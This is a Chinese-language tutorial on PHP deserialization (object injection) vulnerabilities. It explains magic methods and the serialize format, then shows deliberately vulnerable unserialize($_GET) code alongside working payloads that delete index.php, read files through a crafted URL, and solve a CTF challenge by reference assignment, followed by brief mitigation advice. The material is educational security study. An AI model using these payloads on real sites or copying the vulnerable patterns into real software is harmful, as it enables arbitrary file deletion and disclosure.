0x01 php面向对象简介

对象:可以对其做事情的一些东西。一个对象有状态、行为和标识三种属性。

类:一个共享相同结构和行为的对象的集合。

每个类的定义都以关键字class开头,后面跟着类的名字。

一个类可以包含有属于自己的变量,变量(称为“属性”)以及函数(“称为方法”)。

类定义了一件事物的抽象特点。通常来说,类定义了事物的属性和它可以做到的。

类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号“_”开头的,比如_construct,_destruct,_toString,_sleep,_wakeup等。

这些函数在某些情况下会自动调用,比如:_construct当一个对象创建时调用(constructor);_destruct当一个对象被销毁时调用(destructor);_toString当一个对象被当作一个字符串时使用。

0x02 php对象概念及特性

我们先创建一个简单的php对象:

<?php
class TestClass
{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable()
{
echo $this->variable;
}
}
//创建一个对象
$object = new TestClass();
//调用一个方法
$object->PrintVariable();
?>
//test.php

运行结果如下:

接下来开始尝试使用magic函数,在类中添加几个magic函数:

<?php

class TestClass
{
//一个变量
public $variable = 'This is a string';
//一个简单的方法
public function PrintVariable()
{
echo $this->variable.'<br />';
}
//Constructor
public function __construct()
{
echo '__construct<br />';
}
//Destructor
public function __destruct()
{
echo '__destruct<br />';
}
//call
public function __toString()
{
return '__toString<br />';
}
}
//创建一个对象
//__construct会被调用
$object = new TestClass();
//创建一个方法
//‘This is a string’将会被输出
$object->PrintVariable();
//对象被当作一个字符串
//toString会被调用
echo $object;
//php脚本要结束时,__destruct会被调用
?>
//test1.php

再来看一下这次:

从结果看,这几个magic函数依次被调用了,这个旨在帮助我们理解php的magic函数。

0x03 php序列化以及序列化格式

在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。如果一个脚本中想要的调用之前一个脚本的变量,但是之前一个脚本已经执行完毕,所有的变量和内容释放掉了,那该如何操作呢?

serialize和unserialize就是解决这一问题的存在,serialize可以将变量转换为字符串,并且在转换的过程中可以保存当前变量的值,而unserialize则可以将serialize生成的字符串转换回变量。

通俗来说:通过反序列化在特定条件下可以重建php对象并执行php对象中某些magic函数。

我们通过例子来看php对象序列化之后的格式,代码如下:

<?php

//一个类
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//创建一个对象
$usr = new User();
//设置数据
$usr->age = 18;
$usr->name = 'vergilben';
//输出数据
$usr->printdata();
//输出序列化后的数据
echo serialize($usr)
?>
//test2.php

结果如下:

下面的O:4:“User”:2:{s:3:“age”;i:18;s:4:“name”;s:9:“vergilben”;}就是对象user序列化后的形式

“O”表示对象,“4”表示对象名长度为4,“User”为对象名,“2”表示有2个参数。“{}”里面是参数的key和value,“s”表示string对象,“3”表示长度,“age”则为key;“i”是interger对象,“18”是value

后面的都是相同的道理。接下来我们进行反序列化试一试,代码如下:

<?php

//一个类
class User
{
//类的数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is '.$this->age.' years old.<br />';
}
}
//重建对象
$usr = unserialize('O:4:"User":2:{s:3:"age";i:18;s:4:"name";s:9:"vergilben";}');
//输出数据
$usr->printdata();
?>
//test3.php

运行:

可以看到,上次序列化的结果被转变成正常的语句了。

0x04 php对象注入的成因

我们知道magic函数是php对象的特殊函数,在某些特殊情况下会被调用,这下特殊情况当然包含serialize和unserialize。

__sleep magic方法在一个对象被序列化时调用,__wakeup magic方法在一个对象被反序列化时调用。

下面解释一下:

<?php

class test
{
public $variable = 'BUZZ';
public $variable2 = 'OTHER';
public function printvariable()
{
echo $this->variable.'<br />';
}
public function __construct()
{
echo '__construct'.'<br />';
}
public function __destruct()
{
echo '__destruct'.'<br />';
}
public function __wakeup()
{
echo '__wakeup'.'<br />';
}
public function __sleep()
{
echo '__sleep'.'<br />';
return array('variable','variable2');
}
} //创建一个对象,回调用__construct
$object = new test();
//序列化一个对象,会调用__sleep
$serialized = serialize($object);
//输出序列化后的字符串
print 'Serialized:'.$serialized.'<br />';
//重建对象,会调用__wakeup
$object2 = unserialize($serialized);
//调用printvariable,会输出数据(BUZZ)
$object2->printvariable();
//脚本结束,会调用__destruct
?>
//test4.php

运行:

可以看到serialize时调用了__sleep,unserialize时调用了__wakeup,在对象被销毁的时候用了__destruce。

存在漏洞的思路:一个类用于临时将日志储存进某个文件,当__destruct被调用时,日志文件将会被删除,比如:

<?php

class logfile
{
//log文件名
public $filename = 'error.log';
//一些用于储存日志的代码
public function logdata($text)
{
echo 'log data:'.$text.'<br />';
file_put_contents($this->filename,$text,FILE_APPEND);
}
//destrcuctor 删除日志文件
public function __destruct()
{
echo '__destruct deletes '.$this->filename.'file.<br />';
unlink(dirname(__FILE__).'/'.$this->filename);
}
}
?>
//test5.php

调用这个类:

<?php

include 'test5.php'
class User
{
//类数据
public $age = 0;
public $name = '';
//输出数据
public function printdata()
{
echo 'User '.$this->name.' is'.$this->age.' years old.<br />';
}
}
//重建数据
$usr = unserialize($_GET['usr_serialized']);
?>

从代码中可以看到:usr=unserialize( usr = unserialize(usr=unserialize(_GET[‘usr_serialized’]);$_GET[‘usr_serialized’]是可控的,那么我们就可以构造输入删除任意文件

构造输入删除目录下的index.php文件:

<?php
include 'test5.php';
$object = new logfile();
$object->filename = 'index.php'; echo serialize($object).'<br />'; ?>
//test7.php

接下来先进入index.php:

接下来尝试使用test7.php删除了index.php,进入test7.php:

现在在目录里已经没有了index.php:

我们再次访问一下test7.php试一试:



index.php已经没有了。

0x05 常见的注入点

上一部分展示了由于输入可控造成的__destruct函数删除任意文件,其实问题也可能存在于__wakeup、__sleep、__toString等其他magic函数,一切都取决于程序逻辑。

5.1 读取文件

比如,某用户类定义了一个__toString,为了让应用程序能够将类作为一个字符串输出(echo $object),而且其他类也可能定义了一个类允许__toString读取某个文件。

现在开始这个小实验,代码如下:

<?php

include 'test9.php';
$fileobj = new fileclass();
$fileobj->filename = 'hello.txt'; echo serialize($fileobj);
?>
//test8.php

我们先访问test8.php,结果如下:

接下来构造一个触发页面:

<?php

class fileclass
{
//文件名
public $filename = 'error.log';
//当对象被作为一个字符串会读取这个文件
public function __toString()
{
return file_get_contents($this->filename);
}
} class user
{
//class data
public $age = 0;
public $name = '';
//允许对象作为一个字符串输出上面的data
public function __toString()
{
return 'user '.$this->name.' is '.$this->age.' years old.<br />';
}
} //用户可控
$obj = unserialize($_GET['usr_serialized']);
//输出__toString
echo $obj
?>
//test9.php

同时构造恶意url:

http://localhost/test9.php?usr_serialized=O:9:"fileclass":1:{s:8:"filename";s:9:"hello.txt";}

访问:

我们看一下hello.txt的内容:

unserialize漏洞依赖几个条件:

unserialize函数的参数可控
脚本中存在一个构造函数(__construct())、析构函数(__destruct())、__wakeup()函数中有向php文件中写数据的操作的类
所写的内容需要有对象中的成员变量的值

防范的方法:

严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则
对于unserialize后的变量内容进行检查,以确定内容没有被污染

5.2 来自两个变量的引用

PHP 的引用允许你用两个变量来指向同一个内容:

比如如下代码:

<?php
class SeBaFi
{
var $name;
var $password;
} if (isset($_GET['login']))
{
$login = $_GET['login'];
if(get_magic_quotes_gpc())
{
$login=stripslashes($login);
}
$o=unserialize($login);
if($o)
{
$o->name='*';
if($o->name === $o->password)
{
echo "SeBaFi{".$o->name."}";
}
else
{
echo "wrong";
}
}
else
{
echo "what are you doing";
}
}
?>

理解如下:

o变量将得到的pass值进行反序列化,得到相应的对象值。

o->name === o->password 即可得到flag。

由于很难构造相等,那么查看资料知:

在PHP 中普通的传值赋值行为有个例外就是碰到对象 object时,在 PHP 5 中是以引用赋值:

$var = &$othervar;

引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。满足了条件。

payload:

构造php:

<?php
class SeBaFi
{
var $name;
var $password;
}
$o = new SeBaFi();
$o->name=&$o->password; echo serialize($o);
?>

得到反序列化的字符串:

login=O:6:"SeBaFi":2:{s:4:"name";N;s:8:"password";R:2;}

通过url传参,成功得到flag:

0x06 参考链接

https://blog.csdn.net/qingchenldl/article/details/79521300

https://blog.csdn.net/weixin_42751456/article/details/88758908

[代码审计]php反序列化漏洞的更多相关文章

  1. .NET高级代码审计(第五课) .NET Remoting反序列化漏洞

    0x00 前言 最近几天国外安全研究员Soroush Dalili (@irsdl)公布了.NET Remoting应用程序可能存在反序列化安全风险,当服务端使用HTTP信道中的SoapServerF ...

  2. .NET高级代码审计(第三课)Fastjson反序列化漏洞

    0X00 前言 Java中的Fastjson曾经爆出了多个反序列化漏洞和Bypass版本,而在.Net领域也有一个Fastjson的库,作者官宣这是一个读写Json效率最高的的.Net 组件,使用内置 ...

  3. .NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞

    0X00 前言 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.S ...

  4. .NET高级代码审计(第二课) Json.Net反序列化漏洞

    0X00 前言 Newtonsoft.Json,这是一个开源的Json.Net库,官方地址:https://www.newtonsoft.com/json ,一个读写Json效率非常高的.Net库,在 ...

  5. .NET高级代码审计(第一课)XmlSerializer反序列化漏洞

    0X00 前言 在.NET 框架中的 XmlSerializer 类是一种很棒的工具,它是将高度结构化的 XML 数据映射为 .NET 对象.XmlSerializer类在程序中通过单个 API 调用 ...

  6. 【JavaWeb】CVE-2016-4437 Shiro反序列化漏洞分析及代码审计

    Shiro反序列化漏洞分析及代码审计 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.   Apache Shiro默认使用了CookieRe ...

  7. PHP反序列化漏洞代码审计—学习资料

    1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. ...

  8. php代码审计9审计反序列化漏洞

    序列化与反序列化:序列化:把对象转换为字节序列的过程称为对象的序列化反序列化:把字节序列恢复为对象的过程称为对象的反序列化 漏洞成因:反序列化对象中存在魔术方法,而且魔术方法中的代码可以被控制,漏洞根 ...

  9. [代码审计]四个实例递进php反序列化漏洞理解【转载】

    原作者:大方子 原文链接:https://blog.csdn.net/nzjdsds/article/details/82703639 0x01 索引 最近在总结php序列化相关的知识,看了好多前辈师 ...

随机推荐

  1. LVS简单理解

    LVS LVS(Linux Virtual Server)即Linux虚拟服务器 目前LVS已经被集成到Linux内核模块中.该项目在Linux内核中实现了基于IP的数据请求负载均衡调度方案 终端用户 ...

  2. rabbitmq保证数据不丢失方案

    rabbitmq如何保证消息的可靠性 1.保证消息不丢失 1.1.开启事务(不推荐) 1.2.开启confirm(推荐) 1.3.开启RabbitMQ的持久化(交换机.队列.消息) 1.4.关闭Rab ...

  3. day34-python之进程调用

    1.信号量 import threading,time class myThread(threading.Thread): def run(self): if semaphore.acquire(): ...

  4. webpack4 从零学习常用配置梳理

    webpack 的核心价值就是前端源码的打包,即将前端源码中每一个文件(无论任何类型)都当做一个 pack ,然后分析依赖,将其最终打包出线上运行的代码.webpack 的四个核心部分 entry 规 ...

  5. Python 源码剖析 目录

    Python 源码剖析 作者: 陈儒 阅读者:春生 版本:python2.5 版本 本博客园的博客记录我会适当改成Python3版本 阅读 Python 源码剖析 对读者知识储备 1.C语言基础知识, ...

  6. 解决 Jumpserver coco 使用登录用户(ldap)进行SSH连接目标主机,忽略系统用户

    前言 Jumpserver 作为国内流行的开源堡垒机,很多公司都在尝试使用,同时 Jumpserver 为了契合众多公司的用户认证,也提供了 LDAP 的用户认证方式,作为 Jumpserver 的用 ...

  7. [centos][yum] centos升级到特定版本

    我们已知,yum upgrade命令可以将整个系统升级到最新版本. 但是很多时候,我们需要更新到指定版本,比如,当前最新的CentOS版本是7.6.1810 但是我需要更新到7.4,可以如下这样做: ...

  8. 51nod 2517 最少01翻转次数

    小b有一个01序列,她每次可以翻转一个元素,即将该元素异或上1. 现在她希望序列不降,求最少翻转次数. 收起   输入 第一行输入一个数n,其中1≤n≤20000: 第二行输入一个由‘0’和‘1’组成 ...

  9. P1983 车站分级[拓扑]

    题目描述 一条单向的铁路线上,依次有编号为 1, 2, -, n1,2,-,n的 nn个火车站.每个火车站都有一个级别,最低为 11 级.现有若干趟车次在这条线路上行驶,每一趟都满足如下要求:如果这趟 ...

  10. BZOJ3277 串 和 BZOJ3473 字符串

    字符串 给定n个字符串,询问每个字符串有多少子串(不包括空串)是所有n个字符串中至少k个字符串的子串? 分析 参照自为风月马前卒和Candy?的题解. 广义后缀自动机不就是把很多串的SAM建到了一个S ...